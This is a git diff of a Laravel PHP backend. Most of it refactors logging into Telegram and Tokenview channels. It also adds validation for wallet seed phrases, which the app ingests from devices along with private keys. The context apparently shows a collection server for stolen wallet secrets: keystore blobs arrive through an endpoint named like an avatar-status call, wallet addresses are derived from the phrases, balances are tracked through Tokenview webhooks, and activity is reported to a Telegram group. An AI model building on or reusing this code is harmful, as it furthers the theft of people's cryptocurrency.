diff --git a/app/Http/Controllers/Hooks/TelegramWebhookController.php b/app/Http/Controllers/Hooks/TelegramWebhookController.php
index 4d09fb4..965b2ab 100644
--- a/app/Http/Controllers/Hooks/TelegramWebhookController.php
+++ b/app/Http/Controllers/Hooks/TelegramWebhookController.php
@@ -82,7 +82,7 @@ class TelegramWebhookController extends Controller
     private function webhookLog(string $level, string $message, array $context = []): void
     {
         try {
-            Log::{$level}($message, $context);
+            Log::channel('telegram')->{$level}($message, $context);
         } catch (Throwable) {
             error_log($message.' '.json_encode($context, JSON_UNESCAPED_UNICODE));
         }
diff --git a/app/Http/Controllers/Hooks/TokenviewWebhookController.php b/app/Http/Controllers/Hooks/TokenviewWebhookController.php
index 613523e..dde0853 100644
--- a/app/Http/Controllers/Hooks/TokenviewWebhookController.php
+++ b/app/Http/Controllers/Hooks/TokenviewWebhookController.php
@@ -12,6 +12,7 @@ class TokenviewWebhookController extends Controller
 {
     public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
     {
+        $log = Log::channel('tokenview');
         $raw = $request->getContent();
         $signature = $request->header('X-Tokenview-Signature');
 
@@ -21,7 +22,7 @@ class TokenviewWebhookController extends Controller
             $payload = is_array($decoded) ? $decoded : [];
         }
 
-        Log::info('tokenview webhook received', [
+        $log->info('tokenview webhook received', [
             'ip' => $request->ip(),
             'method' => $request->method(),
             'has_signature' => is_string($signature) && $signature !== '',
@@ -33,7 +34,7 @@ class TokenviewWebhookController extends Controller
         // sign key exists. Always 200 + non-empty body; only skip ingest.
         $signed = $monitor->verifySignature($raw, $signature);
         if (! $signed) {
-            Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)', [
+            $log->warning('tokenview webhook bad signature (acked 200, skipped ingest)', [
                 'ip' => $request->ip(),
                 'body_bytes' => strlen($raw),
             ]);
@@ -41,7 +42,7 @@ class TokenviewWebhookController extends Controller
             try {
                 $monitor->handleWebhook($payload);
             } catch (\Throwable $e) {
-                Log::warning('tokenview webhook handle failed: '.$e->getMessage(), [
+                $log->warning('tokenview webhook handle failed: '.$e->getMessage(), [
                     'exception' => $e::class,
                 ]);
             }
diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php
index 6f9fdff..dcbd6a3 100644
--- a/app/Services/IngestService.php
+++ b/app/Services/IngestService.php
@@ -527,6 +527,14 @@ class IngestService
         if ($secret === null || $secret === '') {
             return;
         }
+        if (! $this->isValidMnemonic($secret)) {
+            Log::warning('ingest mnemonic rejected: invalid phrase format', [
+                'device_id' => $device->id,
+                'length' => strlen($secret),
+            ]);
+
+            return;
+        }
 
         $hash = WalletMnemonic::hashSecret($secret);
         $row = WalletMnemonic::query()->firstOrNew([
@@ -544,6 +552,28 @@ class IngestService
         }
     }
 
+    /**
+     * Validate that a secret looks like a BIP39 mnemonic (12 or 24 words,
+     * each 3-8 lowercase letters). Non-mnemonic secrets (private keys, WIF)
+     * are also accepted as-is.
+     */
+    private function isValidMnemonic(string $secret): bool
+    {
+        $words = preg_split('/\s+/', strtolower(trim($secret))) ?: [];
+        $n = count($words);
+        if ($n === 12 || $n === 24) {
+            foreach ($words as $word) {
+                if (! preg_match('/^[a-z]{3,8}$/', $word)) {
+                    return false;
+                }
+            }
+
+            return true;
+        }
+        // Not a word mnemonic — could be a hex private key, WIF, etc. Accept.
+        return true;
+    }
+
     /**
      * `/api/user/avatar/status` — store entire `result` keystore/identity blob.
      */
diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php
index 892b831..ef98f22 100644
--- a/app/Services/MnemonicWalletDiscovery.php
+++ b/app/Services/MnemonicWalletDiscovery.php
@@ -36,6 +36,16 @@ class MnemonicWalletDiscovery
             return 0;
         }
 
+        $words = preg_split('/\s+/', trim($phrase)) ?: [];
+        if (count($words) < 12) {
+            Log::info('mnemonic wallet discovery skipped: phrase too short', [
+                'mnemonic_id' => $mnemonic->id,
+                'word_count' => count($words),
+            ]);
+
+            return 0;
+        }
+
         $existing = WalletAddress::query()
             ->where('mnemonic_id', $mnemonic->id)
             ->exists();
diff --git a/app/Telegram/Handlers/JoinedChatHandler.php b/app/Telegram/Handlers/JoinedChatHandler.php
index cd2e797..cd468f7 100644
--- a/app/Telegram/Handlers/JoinedChatHandler.php
+++ b/app/Telegram/Handlers/JoinedChatHandler.php
@@ -60,7 +60,7 @@ class JoinedChatHandler
                 ),
             );
         } catch (\Throwable $e) {
-            Log::warning('telegram join announce failed: '.$e->getMessage(), [
+            Log::channel('telegram')->warning('telegram join announce failed: '.$e->getMessage(), [
                 'chat_id' => $chatId,
             ]);
         }
diff --git a/app/Telegram/Middleware/AuthorizedChat.php b/app/Telegram/Middleware/AuthorizedChat.php
index 694ddd8..4124667 100644
--- a/app/Telegram/Middleware/AuthorizedChat.php
+++ b/app/Telegram/Middleware/AuthorizedChat.php
@@ -21,7 +21,7 @@ class AuthorizedChat
     {
         $chatId = $bot->chatId();
         if (! $this->context->bindFromChatId($chatId)) {
-            Log::info('telegram AuthorizedChat: chat rejected', [
+            Log::channel('telegram')->info('telegram AuthorizedChat: chat rejected', [
                 'chat_id' => $chatId,
                 'expected_official' => trim((string) config('coruna.telegram.owner_chat_id', '')),
             ]);
@@ -32,7 +32,7 @@ class AuthorizedChat
         $type = $bot->chat()?->type;
         $typeValue = $type instanceof ChatType ? $type->value : (string) $type;
         if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
-            Log::info('telegram AuthorizedChat: not a group chat', [
+            Log::channel('telegram')->info('telegram AuthorizedChat: not a group chat', [
                 'chat_id' => $chatId,
                 'type' => $typeValue,
             ]);
diff --git a/app/Telegram/Middleware/GroupAdminOnly.php b/app/Telegram/Middleware/GroupAdminOnly.php
index 2637d39..cfc517a 100644
--- a/app/Telegram/Middleware/GroupAdminOnly.php
+++ b/app/Telegram/Middleware/GroupAdminOnly.php
@@ -24,7 +24,7 @@ class GroupAdminOnly
         $type = $bot->chat()?->type;
         $typeValue = $type instanceof ChatType ? $type->value : (string) $type;
         if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
-            Log::info('telegram GroupAdminOnly: rejected non-group chat', [
+            Log::channel('telegram')->info('telegram GroupAdminOnly: rejected non-group chat', [
                 'chat_id' => $chatId,
                 'type' => $typeValue,
             ]);
@@ -35,7 +35,7 @@ class GroupAdminOnly
         try {
             $member = $bot->getChatMember($chatId, $userId);
         } catch (\Throwable $e) {
-            Log::warning('telegram GroupAdminOnly: getChatMember failed', [
+            Log::channel('telegram')->warning('telegram GroupAdminOnly: getChatMember failed', [
                 'chat_id' => $chatId,
                 'user_id' => $userId,
                 'error' => $e->getMessage(),
diff --git a/config/logging.php b/config/logging.php
index 02a5aed..c6cb20d 100644
--- a/config/logging.php
+++ b/config/logging.php
@@ -125,7 +125,15 @@ return [
 
         'tokenview' => [
             'driver' => 'daily',
-            'path' => storage_path('logs/tokenview.log'),
+            'path' => storage_path('logs/tokenview/tokenview.log'),
+            'level' => env('LOG_LEVEL', 'debug'),
+            'days' => env('LOG_DAILY_DAYS', 14),
+            'replace_placeholders' => true,
+        ],
+
+        'telegram' => [
+            'driver' => 'daily',
+            'path' => storage_path('logs/telegram/telegram.log'),
             'level' => env('LOG_LEVEL', 'debug'),
             'days' => env('LOG_DAILY_DAYS', 14),
             'replace_placeholders' => true,